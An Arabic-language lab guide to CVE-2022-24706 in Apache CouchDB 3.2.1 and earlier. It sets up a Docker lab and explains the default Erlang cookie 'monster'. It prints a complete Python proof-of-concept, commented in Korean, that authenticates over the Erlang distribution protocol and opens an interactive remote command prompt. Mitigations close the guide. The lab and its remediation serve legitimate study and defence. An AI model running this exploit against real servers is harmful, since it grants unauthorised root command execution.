
استغلال إثبات المفهوم لـ CVE-2022-24706 يستهدف Apache CouchDB 3.2.1 والإصدارات الأقل. يُظهر تنفيذ أوامر عن بُعد عبر بروتوكول توزيع Erlang باستخدام مصادقة ملفات تعريف الارتباط الافتراضية.
المساهمون
Apache CouchDB هي قاعدة بيانات NoSQL مفتوحة المصدر موجهة للمستندات تم تنفيذها بلغة Erlang.
نظرًا لأن Apache CouchDB مطور بلغة Erlang، فهو يدعم بشكل أساسي الحوسبة الموزعة (التجميع). تتواصل عُقد التجميع مع بعضها البعض باستخدام بروتوكول توزيعة Erlang/OTP، ويمكن من خلال هذا البروتوكول تنفيذ أوامر نظام التشغيل (OS) بصلاحيات المستخدم الذي يقوم بتشغيل CouchDB.
لتنفيذ أوامر نظام التشغيل، يجب معرفة سلسلة المصادقة (العبارة السرية) التي تسمى Cookie في Erlang. في إصدارات CouchDB 3.2.1 والإصدارات الأقل، يتم تعيين قيمة Cookie الافتراضية أثناء التثبيت إلى monster، والمهاجم الذي يعرف هذه القيمة يمكنه تجاوز المصادقة وتنفيذ أوامر نظام التشغيل عن بعد.
المراجع:
لتنفيذ هذه الممارسة، تحتاج إلى البيئة التالية:
في macOS المستند إلى Apple Silicon (M1/M2/M3)، قد تظهر تحذيرات متعلقة بنظام الصورة الأساسي. في معظم الحالات، يقوم Docker Desktop تلقائيًا بمحاكاة صور amd64 وتشغيلها، لذا لا يلزم اتخاذ إجراءات إضافية. إذا لم يتم تشغيل الحاوية بشكل صحيح، يمكن إضافة خيار platform: linux/amd64 إلى خدمة couchdb في ملف docker-compose.yml.
إذا لم يكن Python 3 مثبتًا، يمكن تثبيته باستخدام الأمر التالي:
sudo apt update
sudo apt install -y python3
قم بتشغيل الأمر التالي لتشغيل بيئة Apache CouchDB 3.2.1:
docker compose up -d
عند تشغيل الخدمة، ستفتح المنافذ الثلاثة التالية على target-ip:
في البيئة الفعلية، يكون منفذ واجهة الويب (5984) ومنفذ خدمة EPMD (4369) ثابتين، ولكن منفذ اتصالات التجميع قد يتغير في كل مرة يتم فيها التشغيل. لذلك، يمكن الوصول إلى خدمة EPMD لمعرفة رقم منفذ اتصالات التجميع المستخدم حالياً.
عند تشغيل Apache CouchDB بنجاح، يمكنك التحقق من معلومات الإصدار على http://target-ip:5984.

تحدث هذه الثغرة عند توفر الشروط التالية:
monster).docker compose up -d
python3 poc.py target-ip 4369
يقوم PoC بالاستعلام من خدمة EPMD عن رقم منفذ اتصالات التجميع المستخدم حالياً، ثم يقوم بمصادقة بروتوكول توزيعة Erlang باستخدام Cookie الافتراضية (monster).
بعد اكتمال المصادقة، يمكنك إدخال أمر نظام التشغيل المطلوب للتحقق من تنفيذ الأمر عن بعد.
#!/usr/local/bin/python3
# Python 기본 라이브러리
import socket
from hashlib import md5
import struct
import sys
import re
import time
# 대상 서버 및 기본 설정
TARGET = sys.argv[1]
EPMD_PORT = int(sys.argv[2]) # EPMD 기본 포트
COOKIE = "monster" # CouchDB 기본 Erlang Cookie
ERLNAG_PORT = 0
EPM_NAME_CMD = b"\x00\x01\x6e" # Erlang 노드 목록 요청 패킷
# Erlang 인증 및 제어 메시지
NAME_MSG = b"\x00\x15n\x00\x05\x00\x07\x49\x9cAAAAAA@AAAAAAA"
CHALLENGE_REPLY = b"\x00\x15r\x01\x02\x03\x04"
CTRL_DATA = b"\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03"
CTRL_DATA += b"\x00\x00\x00\x00\x00w\x00w\x03rex"
# 사용자가 입력한 명령을 Erlang RPC 패킷으로 변환
def compile_cmd(CMD):
MSG = b"\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00"
MSG += b"\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k"
MSG += struct.pack(">H", len(CMD))
MSG += bytes(CMD, 'ascii')
MSG += b'jw\x04user'
PAYLOAD = b'\x70' + CTRL_DATA + MSG
PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD
return PAYLOAD
print("Remote Command Execution via Erlang Distribution Protocol.\n")
# EPMD 서버에 접속하여 Erlang 노드 정보 획득
try:
epm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
epm_socket.connect((TARGET, EPMD_PORT))
except socket.error as msg:
print("Couldnt connect to EPMD: %s\n terminating program" % msg)
sys.exit(1)
# Erlang 노드 목록 요청
epm_socket.send(EPM_NAME_CMD)
# 정상 응답이면 노드 정보를 가져옴
if epm_socket.recv(4) == b'\x00\x00\x11\x11':
data = epm_socket.recv(1024)
data = data[0:len(data) - 1].decode('ascii')
data = data.split("\n")
if len(data) == 1:
choise = 1
print("Found " + data[0])
else:
print("\nMore than one node found, choose which one to use:")
line_number = 0
for line in data:
line_number += 1
print(" %d) %s" %(line_number, line))
choise = int(input("\n> "))
ERLNAG_PORT = int(re.search(r"\d+$",data[choise - 1])[0])
else:
print("Node list request error, exiting")
sys.exit(1)
epm_socket.close()
# Erlang 노드에 접속
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, ERLNAG_PORT))
except socket.error as msg:
print("Couldnt connect to Erlang server: %s\n terminating program" % msg)
sys.exit(1)
# Challenge 값 수신
s.send(NAME_MSG)
s.recv(5)
challenge = s.recv(1024)
print(challenge)
challenge = struct.unpack(">I", challenge[9:13])[0]
# Challenge 값을 이용하여 인증 정보 생성
CHALLENGE_REPLY += md5(bytes(COOKIE, "ascii")
+ bytes(str(challenge), "ascii")).digest()
# 인증 요청
s.send(CHALLENGE_REPLY)
CHALLENGE_RESPONSE = s.recv(1024)
# 인증 성공 여부 확인
if len(CHALLENGE_RESPONSE) == 0:
print("Authentication failed, exiting")
sys.exit(1)
print("Authentication successful")
print("Enter command:\n")
data_size = 0
# 사용자 명령을 입력받아 원격 CouchDB 노드에서 실행
while True:
if data_size <= 0:
CMD = input("> ")
if not CMD:
continue
elif CMD == "exit":
sys.exit(0)
s.send(compile_cmd(CMD))
data_size = struct.unpack(">I", s.recv(4))[0]
s.recv(45)
data_size -= 45
time.sleep(0.1)
elif data_size < 1024:
data = s.recv(data_size)
time.sleep(0.1)
print(data[3:].decode())
data_size = 0
else:
data = s.recv(1024)
time.sleep(0.1)
print(data[4:].decode())
data_size -= 1024
نتيجة تشغيل PoC، تم تأكيد منفذ اتصالات التجميع بشكل صحيح عبر خدمة EPMD، وتم تأكيد نجاح مصادقة بروتوكول توزيعة Erlang من خلال رسالة Authentication successful.
بعد ذلك، نقوم بتشغيل أمر whoami للتأكد من تنفيذ الأمر بصلاحيات root، ويمكن التحقق من معلومات المستخدم والمجموعة باستخدام أمر id. كما يمكننا إنشاء ملف success في دليل /tmp للنظام المستهدف باستخدام أمر touch /tmp/success، ثم التحقق من إنشائه باستخدام أمر ls /tmp. من خلال ذلك، يمكن التحقق من أن أوامر نظام التشغيل التي تم إدخالها قد تم تنفيذها فعليًا على النظام المستهدف.

عند الانتهاء من الممارسة، قم بتشغيل الأمر التالي لإيقاف حاويات Docker والشبكة:
docker compose down
تحديث إلى الإصدار الأحدث
قم بالتحديث إلى Apache CouchDB 3.2.2 أو أحدث لحل مشكلة استخدام Cookie Erlang الافتراضية.
تغيير Cookie Erlang الافتراضية
لا تستخدم قيمة Cookie الافتراضية (monster) بل قم بتغييرها إلى قيمة عشوائية يصعب تخمينها لمنع تجاوز المصادقة وتنفيذ الأوامر عن بعد.
تقييد الوصول إلى EPMD ومنفذ اتصالات التجميع
قم بتطبيق جدار حماية أو سياسات التحكم في الوصول بحيث لا يمكن الوصول إلى EPMD (4369) ومنفذ اتصالات التجميع إلا من المضيفين الموثوقين.
تعطيل ميزة توزيعة Erlang غير الضرورية
في البيئات التي لا تستخدم ميزة التجميع، قم بتقييد الوصول الخارجي إلى ميزة توزيعة Erlang أو الخدمات ذات الصلة لتقليل احتمالية الهجوم.